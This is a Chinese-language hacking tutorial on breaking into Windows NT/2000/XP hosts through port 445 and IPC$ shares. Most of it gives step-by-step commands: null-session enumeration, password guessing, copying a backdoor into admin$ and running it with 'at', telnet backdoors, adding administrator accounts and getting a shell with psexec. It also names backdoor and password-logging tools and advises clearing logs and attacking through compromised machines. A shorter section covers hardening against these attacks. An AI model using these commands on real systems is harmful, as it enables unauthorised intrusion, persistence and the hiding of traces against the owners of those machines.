如何利用445端口進行入侵滲透 445端口入侵原因詳細解析。大家在進行入侵滲透個人電腦的時候,經常會碰到各種各樣的端口,比如135,1433,445,3306等端口,現在小編就給大家講解下445端口如

如何利用445端口進行入侵滲透 445端口入侵原因詳細解析。大家在進行入侵滲透個人電腦的時候,經常會碰到各種各樣的端口,比如135,1433,445,3306等端口,現在小編就給大家講解下445端口如何入侵。

445端口入侵,在這之前我們首先要看的還是445端口為什么回成為入侵的端口呢?445端口就是IPC 服務的默認端口

?

445端口入侵詳解


? ?關于“445端口入侵”的內容


445端口入侵詳解


本站搜索更多關于“445端口入侵”的內容


445端口入侵,在這之前我們首先要看的還是445端口為什么回成為入侵的端口呢?


445端口就是IPC 服務的默認端口


? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?ipc$


一 摘要


網上關于 ipc$入侵的文章可謂多如牛毛,攻擊步驟甚至已經成為了固化的模式,因此也沒人愿意再把這已經成為定式的東西拿出來擺弄。不過話雖這樣說,我認為這些文章講解的并不詳細,一些內容甚至是錯誤的,以致對 ipc$的提問幾乎占了各大安全論壇討論區的半壁江山,而且這些問題常常都是重復的,嚴重影響了論壇質量和學習效率,因此我總結了這篇文章,希望能把 ipc$這部分東西盡量說清楚。


注意:本文所討論的各種情況均默認發生在 win NT/2000 環境下, win98 將不在此次討論之列。


二 什么是 ipc$


IPC$(Internet Process Connection) 是共享 " 命名管道 "的資源,它是為了讓進程間通信而開放的命名管道,通過提供可信任的用戶名和口令,連接雙方可以建立安全的通道并以此通道進行加密數據的交換,從而實現對遠程計算機的訪問。 IPC$ 是 NT/2000 的一項新功能,它有一個特點,即在同一時間內,兩個 IP 之間只允許建立一個連接。NT/2000 在提供了 ipc$ 功能的同時,在初次安裝系統時還打開了默認共享,即所有的邏輯共享 (c$,d$,e$ …… ) 和系統目錄winnt 或 windows(admin$) 共享。所有的這些,微軟的初衷都是為了方便管理員的管理,但在有意無意中,導致了系統安全性的降低。


平時我們總能聽到有人在說 ipc$ 漏洞, ipc$ 漏洞,其實 ipc$ 并不是一個真正意義上的漏洞 , 我想之所以有人這么說,一定是指微軟自己安置的那個‘后門':空會話( Null session )。那么什么是空會話呢?


三 什么是空會話


在介紹空會話之前,我們有必要了解一下一個安全會話是如何建立的。


在 Windows NT 4.0 中是使用挑戰響應協議與遠程機器建立一個會話的,建立成功的會話將成為一個安全隧道,建立雙方通過它互通信息,這個過程的大致順序如下:


1 )會話請求者(客戶)向會話接收者(服務器)傳送一個數據包,請求安全隧道的建立;


2 )服務器產生一個隨機的 64 位數(實現挑戰)傳送回客戶;


3 )客戶取得這個由服務器產生的 64 位數,用試圖建立會話的帳號的口令打亂它,將結果返回到服務器(實現響應);


4 )服務器接受響應后發送給本地安全驗證( LSA ), LSA通過使用該用戶正確的口令來核實響應以便確認請求者身份。如果請求者的帳號是服務器的本地帳號,核實本地發生;如果請求的帳號是一個域的帳號,響應傳送到域控制器去核實。當對挑戰的響應核實為正確后,一個訪問令牌產生,然后傳送給客戶。客戶使用這個訪問令牌連接到服務器上的資源直到建議的會話被終止。


以上是一個安全會話建立的大致過程,那么空會話又如何呢?


空會話是在沒有信任的情況下與服務器建立的會話(即未提供用戶名與密碼),但根據 WIN2000的訪問控制模型,空會話的建立同樣需要提供一個令牌,可是空會話在建立過程中并沒有經過用戶信息的認證,所以這個令牌中不包含用戶信息,因此,這個會話不能讓系統間發送加密信息,但這并不表示空會話的令牌中不包含安全標識符 SID (它標識了用戶和所屬組),對于一個空會話, LSA 提供的令牌的SID 是 S- 1-5-7 ,這就是空會話的 SID ,用戶名是: ANONYMOUS LOGON(這個用戶名是可以在用戶列表中看到的,但是是不能在 SAM 數據庫中找到,屬于系統內置的帳號),這個訪問令牌包含下面偽裝的組:


Everyone


Network


在安全策略的限制下,這個空會話將被授權訪問到上面兩個組有權訪問到的一切信息。那么建立空會話到底可以作什么呢?


四 空會話可以做什么


對于 NT ,在默認安全設置下,借助空連接可以列舉目標主機上的用戶和共享,訪問 everyone權限的共享,訪問小部分注冊表等,并沒有什么太大的利用價值;對 2000 作用更小,因為在 Windows 2000和以后版本中默認只有管理員和備份操作員有權從網絡訪問到注冊表,而且實現起來也不方便,需借助工具。


從這些我們可以看到,這種非信任會話并沒有多大的用處,但從一次完整的 ipc$入侵來看,空會話是一個不可缺少的跳板,因為我們從它那里可以得到戶列表,而大多數弱口令掃描工具就是利用這個用戶列表來進行口令猜解的,成功的導出用戶列表大大增加了猜解的成功率,僅從這一點,足以說明空會話所帶來的安全隱患,因此說空會話毫無用處的說法是不正確的。以下是空會話中能夠使用的一些具體命令:


1 首先,我們先建立一個空會話(當然,這需要目標開放 ipc$ )


命令: net use \\ip\ipc$ "" /user:""


注意:上面的命令包括四個空格, net 與 use 中間有一個空格, use 后面一個,密碼左右各一個空格。


2 查看遠程主機的共享資源


命令: net view \\ip


解釋:前提是建立了空連接后,用此命令可以查看遠程主機的共享資源,如果它開了共享,可以得到如下面的結果,但此命令不能顯示默認共享。


在 \\*.*.*.* 的共享資源


資源共享名 類型 用途 注釋


-----------------------------------------------------------


NETLOGON Disk Logon server share


SYSVOL Disk Logon server share


命令成功完成。


3 查看遠程主機的當前時間


命令: net time \\ip


解釋:用此命令可以得到一個遠程主機的當前時間。


4 得到遠程主機的 NetBIOS 用戶名列表(需要打開自己的 NBT )


命令: nbtstat -A ip


用此命令可以得到一個遠程主機的 NetBIOS 用戶名列表,返回如下結果:


Node IpAddress: [*.*.*.*] Scope Id: []


NetBIOS Remote Machine Name Table


Name Type Status


---------------------------------------------


SERVER <00> UNIQUE Registered


OYAMANISHI-H <00> GROUP Registered


OYAMANISHI-H < 1C > GROUP Registered


SERVER <20> UNIQUE Registered


OYAMANISHI-H <1B> UNIQUE Registered


OYAMANISHI-H <1E> GROUP Registered


SERVER <03> UNIQUE Registered


OYAMANISHI-H <1D> UNIQUE Registered


..__MSBROWSE__.<01> GROUP Registered


INet~Services < 1C > GROUP Registered


IS~SERVER......<00> UNIQUE Registered


MAC Address = 00-50-8B -9A -2D-37


以上就是我們經常使用空會話做的事情,好像也能獲得不少東西喲,不過要注意一點:建立 IPC$ 連接的操作會在 Event Log 中留下記錄,不管你是否登錄成功。 好了,那么下面我們就來看看 ipc$ 所使用的端口是什么?


五 ipc$ 所使用的端口


首先我們來了解一些基礎知識:


1 SMBServer Message Block) Windows 協議族,用于文件打印共享的服務;


2 NBTNETBios Over TCP/IP) 使用 137 ( UDP ) 138 ( UDP ) 139 ( TCP )端口實現基于 TCP/IP 協議的 NETBIOS 網絡互聯。


3 在 WindowsNT 中 SMB 基于 NBT 實現,即使用 139 ( TCP )端口;而在 Windows2000 中, SMB 除了基于 NBT 實現,還可以直接通過 445 端口實現。


有了這些基礎知識,我們就可以進一步來討論訪問網絡共享對端口的選擇了:


對于 win2000 客戶端(發起端)來說:


1 如果在允許 NBT 的情況下連接服務器時,客戶端會同時嘗試訪問 139 和 445 端口,如果 445 端口有響應,那么就發送 RST包給 139 端口斷開連接,用 455 端口進行會話,當 445 端口無響應時,才使用 139 端口,如果兩個端口都沒有響應,則會話失敗;


2 如果在禁止 NBT 的情況下連接服務器時,那么客戶端只會嘗試訪問 445 端口,如果 445 端口無響應,那么會話失敗。


對于 win2000 服務器端來說:


1 如果允許 NBT, 那么 UDP 端口 137, 138, TCP 端口 139, 445 將開放( LISTENING );


2 如果禁止 NBT ,那么只有 445 端口開放。


我們建立的 ipc$ 會話對端口的選擇同樣遵守以上原則。顯而易見,如果遠程服務器沒有監聽 139 或 445 端口, ipc$ 會話是無法建立的。


六 ipc 管道在 hack 攻擊中的意義


ipc 管道本來是微軟為了方便管理員進行遠程管理而設計的,但在入侵者看來,開放 ipc 管道的主機似乎更容易得手。通過 ipc管道,我們可以遠程調用一些系統函數(大多通過工具實現,但需要相應的權限),這往往是入侵成敗的關鍵。如果不考慮這些,僅從傳送文件這一方面,ipc 管道已經給了入侵者莫大的支持,甚至已經成為了最重要的傳輸手段,因此你總能在各大論壇上看到一些朋友因為打不開目標機器的 ipc管道而一籌莫展大呼救命。當然,我們也不能忽視權限在 ipc管道中扮演的重要角色,想必你一定品嘗過空會話的尷尬,沒有權限,開啟管道我們也無可奈何。但入侵者一旦獲得了管理員的權限,那么 ipc管道這把雙刃劍將顯示出它猙獰的一面。


七 ipc$ 連接失敗的常見原因


以下是一些常見的導致 ipc$ 連接失敗的原因:


1 IPC 連接是 Windows NT 及以上系統中特有的功能,由于其需要用到 Windows NT 中很多 DLL 函數,所以不能在Windows 9.x/Me 系統中運行,也就是說只有 nt/2000/xp 才可以相互建立 ipc$ 連接, 98/me 是不能建立ipc$ 連接的;


2 如果想成功的建立一個 ipc$ 連接,就需要響應方開啟 ipc$ 共享,即使是空連接也是這樣,如果響應方關閉了 ipc$ 共享,將不能建立連接;


3 連接發起方未啟動 Lanmanworkstation 服務(顯示名為: Workstation ):它提供網絡鏈結和通訊,沒有它發起方無法發起連接請求;


4 響應方未啟動 Lanmanserver 服務(顯示名為: Server ):它提供了 RPC 支持、文件、打印以及命名管道共享, ipc$ 依賴于此服務,沒有它主機將無法響應發起方的連接請求,不過沒有它仍可發起 ipc$ 連接;


5 響應方未啟動 NetLogon ,它支持網絡上計算機 pass-through 帳戶登錄身份(不過這種情況好像不多);


6 響應方的 139 , 445 端口未處于監聽狀態或被防火墻屏蔽;


7 連接發起方未打開 139 , 445 端口;


8 用戶名或者密碼錯誤:如果發生這樣的錯誤,系統將給你類似于 ' 無法更新密碼 ' 這樣的錯誤提示(顯然空會話排除這種錯誤);


9 命令輸入錯誤:可能多了或少了空格,當用戶名和密碼中不包含空格時兩邊的雙引號可以省略,如果密碼為空,可以直接輸入兩個引號 "" 即可;


10 如果在已經建立好連接的情況下對方重啟計算機,那么 ipc$ 連接將會自動斷開,需要重新建立連接。


另外 , 你也可以根據返回的錯誤號分析原因:


錯誤號 5 ,拒絕訪問:很可能你使用的用戶不是管理員權限的;


錯誤號 51 , Windows 無法找到網絡路徑:網絡有問題;


錯誤號 53 ,找不到網絡路徑: ip 地址錯誤;目標未開機;目標 lanmanserver 服務未啟動;目標有防火墻(端口過濾);


錯誤號 67 ,找不到網絡名:你的 lanmanworkstation 服務未啟動或者目標刪除了 ipc$ ;


錯誤號 1219 ,提供的憑據與已存在的憑據集沖突:你已經和對方建立了一個 ipc$ ,請刪除再連;


錯誤號 1326 ,未知的用戶名或錯誤密碼:原因很明顯了;


錯誤號 1792 ,試圖登錄,但是網絡登錄服務沒有啟動:目標 NetLogon 服務未啟動;


錯誤號 2242 ,此用戶的密碼已經過期:目標有帳號策略,強制定期要求更改密碼。


八 復制文件失敗的原因


有些朋友雖然成功的建立了 ipc$ 連接,但在 copy 時卻遇到了這樣那樣的麻煩,無法復制成功,那么導致復制失敗的常見原因又有哪些呢?


1 對方未開啟共享文件夾


這類錯誤出現的最多,占到 50% 以上。許多朋友在 ipc$連接建立成功后,甚至都不知道對方是否有共享文件夾,就進行盲目復制,結果導致復制失敗而且郁悶的很。因此我建議大家在進行復制之前務必用 netview \\IP 這個命令看一下你想要復制的共享文件夾是否存在(用軟件查看當然更好),不要認為能建立 ipc$ 連接就一定有共享文件夾存在。


2 向默認共享復制失敗


這類錯誤也是大家經常犯的,主要有兩個小方面:


1 )錯誤的認為能建立 ipc$ 連接的主機就一定開啟了默認共享,因而在建立完連接之后馬上向 c$,d$,admin$之類的默認共享復制文件,一旦對方未開啟默認共享,將導致復制失敗。 ipc$ 連接成功只能說明對方打開了 ipc$共享,并不能說明默認共享一定存在。 ipc$ 共享與默認共享是 兩碼 事, ipc$共享是一個命名管道,并不是哪個實際的文件夾,而默認共享卻是實實在在的共享文件夾;


2 )由于 net view \\IP 這個命令無法顯示默認共享文件夾(因為默認共享帶 $),因此通過這個命令,我們并不能判斷對方是否開啟了默認共享,因此如果對方未開啟默認共享,那么所有向默認共享進行的操作都不能成功;(不過大部分掃描軟件在掃弱口令的同時,都能掃到默認共享目錄,可以避免此類錯誤的發生)


要點:請大家一定區分 ipc 共享,默認共享,普通共享這三者的區別: ipc 共享是一個管道,并不是實際的共享文件夾;默認共享是安裝時默認打開的文件夾;普通共享是我們自己開啟的可以設置權限的共享文件夾。


3 用戶權限不夠,包括四種情形:


1 )空連接向所有共享(默認共享和普通共享)復制時,權限是不夠的;


2 )向默認共享復制時,在 Win2000 Pro 版中,只有 Administrators 和 Backup Operators 組成員才可以,在 Win2000 Server 版本 Server Operatros 組也可以訪問到這些共享目錄;


3 )向普通共享復制時,要具有相應權限(即對方管理員事先設定的訪問權限);


4 )對方可以通過防火墻或安全軟件的設置,禁止外部訪問共享;


注意:


1 不要認為 administrator 就一定具有管理員權限,管理員名稱是可以改的


2 管理員可以訪問默認共享的文件夾,但不一定能夠訪問普通的共享文件夾,因為管理員可以對普通的共享文件夾進行訪問權限設置,如圖 6 ,管理員為D 盤設置的訪問權限為僅允許名為 xinxin 的用戶對該文件夾進行完全訪問,那么此時即使你擁有管理員權限,你仍然不能訪問 D盤。不過有意思的是,如果此時對方又開啟了 D$ 的默認共享,那么你卻可以訪問 D$ ,從而繞過了權限限制,有興趣的朋友可以自己做測試。


4 被防火墻殺死或在局域網


還有一種情況,那就是也許你的復制操作已經成功,但當遠程運行時,被防火墻殺掉了,導致找不到文件;或者你把木馬復制到了局域網內的主機,導致連接失敗(反向連接的木馬不會發生這種情況)。如果你沒有想到這種情況,你會以為是復制上出了問題,但實際你的復制操作已經成功了,只是運行時出了問題。


呵呵,大家也知道, ipc$ 連接在實際操作過程中會出現各種各樣的問題,上面我所總結的只是一些常見錯誤,沒說到的,大家可以給我提個醒兒。


九 關于 at 命令和 xp 對 ipc$ 的限制


本來還想說一下用 at 遠程運行程序失敗的原因,但考慮到 at的成功率不是很高,問題也很多,在這里就不提它了(提的越多,用的人就越多),而是推薦大家用 psexec.exe遠程運行程序,假設想要遠程機器執行本地 c:\xinxin.exe 文件,且管理員為 administrator ,密碼為 1234,那么輸入下面的命令:


psexec \\ip -u administrator -p 1234 -c c:\xinxin.exe


如果已經建立 ipc 連接,則 -u -p 這兩個參數不需要, psexec.exe 將自動拷貝文件到遠程機器并運行。


本來 xp 中的 ipc$ 也不想在這里討論,想單獨拿出來討論,但看到越來越多的朋友很急切的提問為什么遇到 xp的時候,大部分操作都很難成功。我在這里就簡單提一下吧,在 xp的默認安全選項中,任何遠程訪問僅被賦予來賓權限,也就是說即使你是用管理員帳戶和密碼,你所得到的權限也只是 Guest,因此大部分操作都會因為權限不夠而失敗,而且到目前為止并沒有一個好的辦法來突破這一限制。所以如果你真的得到了 xp的管理員密碼,我建議你盡量避開 ipc 管道。


十 如何打開目標的 IPC$ 共享以及其他共享


目標的 ipc$ 不是輕易就能打開的,否則就要天下打亂了。你需要一個 admin 權限的 shell ,比如 telnet ,木馬, cmd 重定向等,然后在 shell 下執行:


net share ipc$


開放目標的 ipc$ 共享;


net share ipc$ /del


關閉目標的 ipc$ 共享;如果你要給它開共享文件夾,你可以用:


net share xinxin=c:\


這樣就把它的 c 盤開為共享名為 xinxin 共享文件夾了。(可是我發現很多人錯誤的認為開共享文件夾的命令是 net share c$ ,還大模大樣的給菜鳥指指點點,真是誤人子弟了)。再次聲明,這些操作都是在 shell 下才能實現的。


十一 一些需要 shell 才能完成的命令


看到很多教程這方面寫的十分不準確,一些需要 shell 才能完成命令就簡簡單單的在 ipc$ 連接下執行了,起了誤導作用。那么下面我總結一下需要在 shell 才能完成的命令:


1 向遠程主機建立用戶,激活用戶,修改用戶密碼,加入管理組的操作需要在 shell 下完成;


2 打開遠程主機的 ipc$ 共享,默認共享,普通共享的操作需要在 shell 下完成;


3 運行 / 關閉遠程主機的服務,需要在 shell 下完成;


4 啟動 / 殺掉遠程主機的進程,也需要在 shell 下完成(用軟件的情況下除外,如 pskill )。


十二 入侵中可能會用到的命令


為了這份教程的完整性,我列出了 ipc$入侵中的一些常用命令,如果你已經掌握了這些命令,你可以跳過這一部分看下面的內容。請注意這些命令是適用于本地還是遠程,如果只適用于本地,你只能在獲得遠程主機的 shell (如 cmd , telnet 等)后,才能向遠程主機執行。


1 建立 / 刪除 ipc$ 連接的命令


1 )建立空連接 :


net use \\127.0.0.1\ipc$ "" /user:""


2 )建立非空連接 :


net use \\127.0.0.1\ipc$ " 密碼 " /user:" 用戶名 "


3 )刪除連接 :


net use \\127.0.0.1\ipc$ /del


2 在 ipc$ 連接中對遠程主機的操作命令


1 ) 查看遠程主機的共享資源(看不到默認共享) :


net view \\127.0.0.1


2 ) 查看遠程主機的當前時間 :


net time \\127.0.0.1


3 ) 得到遠程主機的 netbios 用戶名列表 :


nbtstat -A 127.0.0.1


4 )映射 / 刪除遠程共享 :


net use z: \\127.0.0.1\c


此命令將共享名為 c 的共享資源映射為本地 z 盤


net use z: /del


刪除映射的 z 盤,其他盤類推


5 )向遠程主機復制文件 :


copy 路徑 \ 文件名 \\IP\ 共享目錄名,如:


copy c:\xinxin.exe \\127.0.0.1\c$ 即將 c 盤下的 xinxin.exe 復制到對方 c 盤內


當然,你也可以把遠程主機上的文件復制到自己的機器里:


copy \\127.0.0.1\c$\xinxin.exe c:\


6 )遠程添加計劃任務 :


at \\IP 時間 程序名 如:


at \\127.0.0.0 11:00 xinxin.exe


注意:時間盡量使用 24 小時制;如果你打算運行的程序在系統默認搜索路徑(比如 system32/ )下則不用加路徑,否則必須加全路徑


3 本地命令


1 )查看本地主機的共享資源(可以看到本地的默認共享)


net share


2 )得到本地主機的用戶列表


net user


3 )顯示本地某用戶的帳戶信息


net user 帳戶名


4 )顯示本地主機當前啟動的服務


net start


5 )啟動 / 關閉本地服務


net start 服務名


net stop 服務名


6 )在本地添加帳戶


net user 帳戶名 密碼 /add


7 )激活禁用的用戶


net uesr 帳戶名 /active:yes


8 )加入管理員組


net localgroup administrators 帳戶名 /add


很顯然的是,雖然這些都是本地命令,但如果你在遠程主機的 shell 中輸入,比如你 telnet 成功后輸入上面這些命令,那么這些本地輸入將作用在遠程主機上。


4 其他一些命令


1 ) telnet


telnet IP 端口


telnet 127.0.0.0 23


2 )用 opentelnet.exe 開啟遠程主機的 telnet


OpenTelnet.exe \\ip 管理員帳號 密碼 NTLM 的認證方式 port


OpenTelnet.exe \\127.0.0.1 administrator "" 1 90


不過這個小工具需要滿足四個要求:


1 )目標開啟了 ipc$ 共享


2 )你要擁有管理員密碼和帳號


3 )目標開啟 RemoteRegistry 服務,用戶就可以更改 ntlm 認證


4 )對僅 WIN2K/XP 有效


3 )用 psexec.exe 一步獲得 shell ,需要 ipc 管道支持


psexec.exe \\IP -u 管理員帳號 -p 密碼 cmd


psexec.exe \\127.0.0.1 -u administrator -p "" cmd


十三 對比過去和現今的 ipc$ 入侵


既然是對比,那么我就先把過去的 ipc$ 入侵步驟寫給大家,都是蠻經典的步驟:


[1]


C:\>net use \\127.0.0.1\ipc$ "" /user:admintitrators


\\ 用掃到的空口令建立連接  


[2]


c:\>net view \\127.0.0.1


\\ 查看遠程的共享資源


[3]


C:\>copy srv.exe \\127.0.0.1\admin$\system32


\\ 將一次性后門 srv.exe 復制到對方的系統文件夾下,前提是 admin$ 開啟  


[4]


C:\>net time \\127.0.0.1


\\ 查看遠程主機的當前時間


[5]


C:\>at \\127.0.0.1 時間 srv.exe


\\ 用 at 命令遠程運行 srv.exe ,需要對方開啟了 'Task Scheduler' 服務  


[6]


C:\>net time \\127.0.0.1


\\ 再次查看當前時間來估算 srv.exe 是否已經運行,此步可以省略


[7]


C:\>telnet 127.0.0.1 99


\\ 開一個新窗口,用 telnet 遠程登陸到 127.0.0.1 從而獲得一個 shell( 不懂 shell 是什么意思?那你就把它想象成遠程機器的控制權就好了,操作像 DOS) , 99 端口是 srv.exe 開的一次性后門的端口  


[8]


C:\WINNT\system32>net start telnet


\\ 我們在剛剛登陸上的 shell 中啟動遠程機器的 telnet 服務,畢竟 srv.exe 是一次性的后門,我們需要一個長久的后門便于以后訪問,如果對方的 telnet 已經啟動,此步可省略


[9]


C:\>copy ntlm.exe \\127.0.0.1\admin$\system32


\\ 在原來那個窗口中將 ntlm.exe 傳過去, ntlm.exe 是用來更改 telnet 身份驗證的  


[10]


C:\WINNT\system32>ntlm.exe


\\ 在 shell 窗口中運行 ntlm.exe ,以后你就可以暢通無阻的 telnet 這臺主機了


[11]


C:\>telnet 127.0.0.1 23


\\ 在新窗口中 telnet 到 127.0.0.1 ,端口 23 可省略,這樣我們又獲得一個長期的后門


[12]


C:\WINNT\system32>net user 帳戶名 密碼 /add


C:\WINNT\system32>net uesr guest /active:yes


C:\WINNT\system32>net localgroup administrators 帳戶名 /add


\\telnet 上以后,你可以建立新帳戶,激活 guest ,把任何帳戶加入管理員組等


好了,寫到這里我似乎回到了 2 , 3 年前,那時的 ipc$ 大家都是這么用的,不過隨著新工具的出現,上面提到的一些工具和命令現在已經不常用到了,那就讓我們看看現在的高效而簡單的 ipc$ 入侵吧。


[1]


psexec.exe \\IP -u 管理員帳號 -p 密碼 cmd


\\ 用這個工具我們可以一步到位的獲得 shell


OpenTelnet.exe \\server 管理員帳號 密碼 NTLM 的認證方式 port


\\ 用它可以方便的更改 telnet 的驗證方式和端口,方便我們登陸


[2]


已經沒有第二步了,用一步獲得 shell 之后,你做什么都可以了,安后門可以用 winshell ,克隆就用 ca 吧,開終端用 3389.vbe ,記錄密碼用 win2kpass ,總之好的工具不少,隨你選了,我就不多說了。


十四 如何防范 ipc$ 入侵


1 禁止空連接進行枚舉 ( 此操作并不能阻止空連接的建立 )


運行 regedit ,找到如下主鍵 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA] 把 RestrictAnonymous = DWORD 的鍵值改為: 1


如果設置為 "1" ,一個匿名用戶仍然可以連接到 IPC$ 共享,但無法通過這種連接得到列舉 SAM 帳號和共享信息的權限;在 Windows2000 中增加了 "2" ,未取得匿名權的用戶將不能進行 ipc$ 空連接。建議設置為 1。如果上面所說的主鍵不存在,就新建一個再改鍵值。如果你覺得改注冊表麻煩,可以在本地安全設置中設置此項: 在本地安全設置-本地策略-安全選項-' 對匿名連接的額外限制 '


2 禁止默認共享


1 )察看本地共享資源


運行 -cmd- 輸入 net share


2 )刪除共享(重起后默認共享仍然存在)


net share ipc$ /delete


net share admin$ /delete


net share c$ /delete


net share d$ /delete (如果有 e,f, ……可以繼續刪除)


3 )停止 server 服務


net stop server /y (重新啟動后 server 服務會重新開啟)


4 )禁止自動打開默認共享(此操作并不能關閉 ipc$ 共享)


運行 -regedit


server 版 : 找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把 AutoShareServer ( DWORD )的鍵值改為 :00000000 。


pro 版 : 找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把 AutoShareWks ( DWORD )的鍵值改為 :00000000 。


這兩個鍵值在默認情況下在主機上是不存在的,需要自己手動添加,修改后重起機器使設置生效。


3 關閉 ipc$ 和默認共享依賴的服務 :server 服務


如果你真的想關閉 ipc$ 共享,那就禁止 server 服務吧:


控制面板 - 管理工具 - 服務 - 找到 server 服務(右擊) - 屬性 - 常規 - 啟動類型 - 選已禁用,這時可能會有提示說: XXX 服務也會關閉是否繼續,因為還有些次要的服務要依賴于 server 服務,不要管它。


4 屏蔽 139 , 445 端口


由于沒有以上兩個端口的支持,是無法建立 ipc$ 的,因此屏蔽 139 , 445 端口同樣可以阻止 ipc$ 入侵。


1 ) 139 端口可以通過禁止 NBT 來屏蔽


本地連接- TCP/IT 屬性-高級- WINS -選‘禁用 TCP/IT 上的 NETBIOS '一項


2 ) 445 端口可以通過修改注冊表來屏蔽


添加一個鍵值


Hive: HKEY_LOCAL_MACHINE


Key: System\Controlset\Services\NetBT\Parameters


Name: SMBDeviceEnabled


Type: REG_DWORD


value: 0


修改完后重啟機器


注意:如果屏蔽掉了以上兩個端口,你將無法用 ipc$ 入侵別人。


3 )安裝防火墻進行端口過濾


6 設置復雜密碼,防止通過 ipc$ 窮舉出密碼,我覺得這才是最好的辦法,增強安全意識,比不停的打補丁要安全的多。


十五 ipc$ 入侵問答精選


上面說了一大堆的理論東西,但在實際中你會遇到各種各樣的問題,因此為了給予大家最大的幫助,我整理了各大安全論壇中一些有代表性的問答,其中的一些答案是我給出的,一些是論壇上的回復,如果有什么疑問,可以來找我討論。


1. 進行 ipc$ 入侵的時候,會在服務器中留下記錄,有什么辦法可以不讓服務器發現嗎?


答:留下記錄是一定的,你走后用清除日志程序刪除就可以了,或者用肉雞入侵。


2. 你看下面的情況是為什么,可以連接但不能復制


net use \\***.***.***.***\ipc$ " 密碼 " /user:" 用戶名 "


命令成功


copy icmd.exe \\***.***.***.***\admin$


找不到網絡路徑


命令不成功


答:像“找不到網絡路徑”“找不到網絡名”之類的問題,大多是因為你想要復制到的共享文件夾沒有開啟,所以在復制的時候會出現錯誤,你可以試著找找其他的共享文件夾。


3. 如果對方開了 IPC$ ,且能建立空聯接,但打開 C 、 D 盤時,都要求密碼,我知道是空連接沒有太多的權限,但沒別的辦法了嗎?


答:建議先用流光或者別的什么掃描軟件試著猜解一下密碼,如果猜不出來,只能放棄,畢竟空連接的能力有限。


4. 我已經猜解到了管理員的密碼,且已經 ipc$ 連接成功了,但 net view \\ip 發現它沒開默認共享,我該怎么辦?


答:首先糾正你的一個錯誤,用 net view \\ip 是無法看到默認共享的,你可以試著將文件復制到 c$ , d$ 看看,如果都不行,說明他關閉了默認共享,那你就用 opentelnet.exe 或 psexec.exe 吧,用法上面有。


5.ipc$ 連接成功后,我用下面的命令建立了一個帳戶,卻發現這個帳戶在我自己的機器上,這是怎么回事?


net uset ccbirds /add


答: ipc$ 建立成功只能說明你與遠程主機建立了通信隧道,并不意味你取得了一個 shell ,只有在獲得一個 shell (比如 telnet )之后,你才能在遠程機器建立一個帳戶,否則你的操作只是在本地進行。


6. 我已進入了一臺肉機,用的管理員帳號,可以看他的系統時間,但是復制程序到他的機子上卻不行,每次都提示“拒絕訪問,已復制 0 個文件”,是不是對方有什么服務沒開,我該怎么辦?


答:一般來說“拒絕訪問”都是權限不夠的結果,可能是你用的帳戶有問題,還有一種可能,如果你想向普通共享文件夾復制文件卻返回這個錯誤,說明這個文件夾設置的允許訪問用戶中不包括你(哪怕你是管理員),這一點我在上一期文章中分析了。


7. 我用 Win98 能與對方建立 ipc$ 連接嗎?


答:理論上不可以,要進行 ipc$ 的操作,建議用 win2000 ,用其他操作系統會帶來許多不必要的麻煩。


8. 我用 net use \\ip\ipc$ "" /user "" 成功的建立了一個空會話,但用 nbtstat -A IP 卻無法導出用戶列表,這是為什么?


答:空會話在默認的情況下是可以導出用戶列表的,但如果管理員通過修改注冊表來禁止導出列表,就會出現你所說的情況;還有可能是你自己的 NBT 沒有打開, netstat 命令是建立在 NBT 之上的。  


9. 我建立 ipc$ 連接的時候返回如下信息:‘提供的憑據與已存在的憑據集沖突',怎么回事?


答:呵呵,這說明你已經與目標主機建立了 ipc$ 連接,兩個主機間同時建立兩個 ipc$ 連接是不允許的。


10. 我在映射的時候出現:


F:\>net use h: \\211.161.134.*\e$


系統發生 85 錯誤。


本地設備名已在使用中。這是怎么回事?


答:你也太粗心了吧,這說明你有一個 h 盤了,映射到沒有的盤符吧!


11. 我建立了一個連接 f:\>net use \\*.*.*.*\ipc$ "123" /user:"guest" 成功了,但當我映射時出現了錯誤,向我要密碼,怎么回事?


F:\>net use h: \\*.*.*.*\c$


密碼在 \\*.*.*.*\c$ 無效。


請鍵入 \\*.*.*.*\c$ 的密碼 :


系統發生 5 錯誤。


拒絕訪問。


答:呵呵,向你要密碼說明你當前使用的用戶權限不夠,不能映射 C$ 這個默認共享,想辦法提升權限或者找管理員的弱口令吧!默認共享一般是需要管理員權限的。


12. 我用 superscan 掃到了一個開了 139 端口的主機,但為什么不能空連接呢?


答:你混淆了 ipc$ 與 139 的關系,能進行 ipc$ 連接的主機一定開了 139 或 445 端口,但開這兩個端口的主機可不一定能空連接,因為對方可以關閉 ipc$ 共享 .


13. 我們局域網里的機器大多都是 xp ,我用流光掃描到幾個 administrator 帳號口令是空,而且可以連接,但不能復制東西,說錯誤 5 。請問為什么?


答: xp 的安全性要高一些,在安全策略的默認設置中,對本地帳戶的網絡登錄進行身份驗證的時候,默認為來賓權限,即使你用管理員遠程登錄,也只具有來賓權限,因此你復制文件,當然是錯誤 5 :權限不夠。


14. 我用 net use \\192.168.0.2\ipc$ "password" /user:"administrator" 成功,可是 net use i: \\192.168.0.2\c


出現請鍵入 \\192.168.0.2 的密碼,怎么回事情呢?我用的可是管理員呀?應該什么都可以訪問呀?


答:雖然你具有管理員權限,但管理員在設置 c 盤共享權限時(注意:普通共享可以設置訪問權限,而默認共享則不能)可能并未設置允許 administrator 訪問,所以會出現上述問題。


15. 如果自己的機器禁止了 ipc$, 是不是還可以用 ipc$ 連接別的機器?如果禁止 server 服務呢?


答:禁止以上兩項仍可以發起 ipc$ 連接,不過這種問題自己動手試驗會更好。


16. 能告訴我下面的兩個錯誤產生的原因嗎?


c:\>net time \\61.225.*.*


系統發生 5 錯誤。


拒絕訪問。


c:\>net view \\61.225.*.*


系統發生 5 錯誤。


拒絕訪問。


答:起初遇到這個問題的時候我也很納悶,錯誤 5表示權限不夠,可是連空會話的權限都可以完成上面的兩個命令,他為什么不行呢?難道是他沒建立連接?后來那個粗心的同志告訴我的確是這樣,他忘記了自己已經刪了 ipc$ 連接,之后他又輸入了上面那兩個命令,隨之發生了錯誤 5 。


17. 您看看這是怎么回事?


F:\>net time


找不到時間服務器。


請鍵入 NET HELPMSG 3912 以獲得更多的幫助。


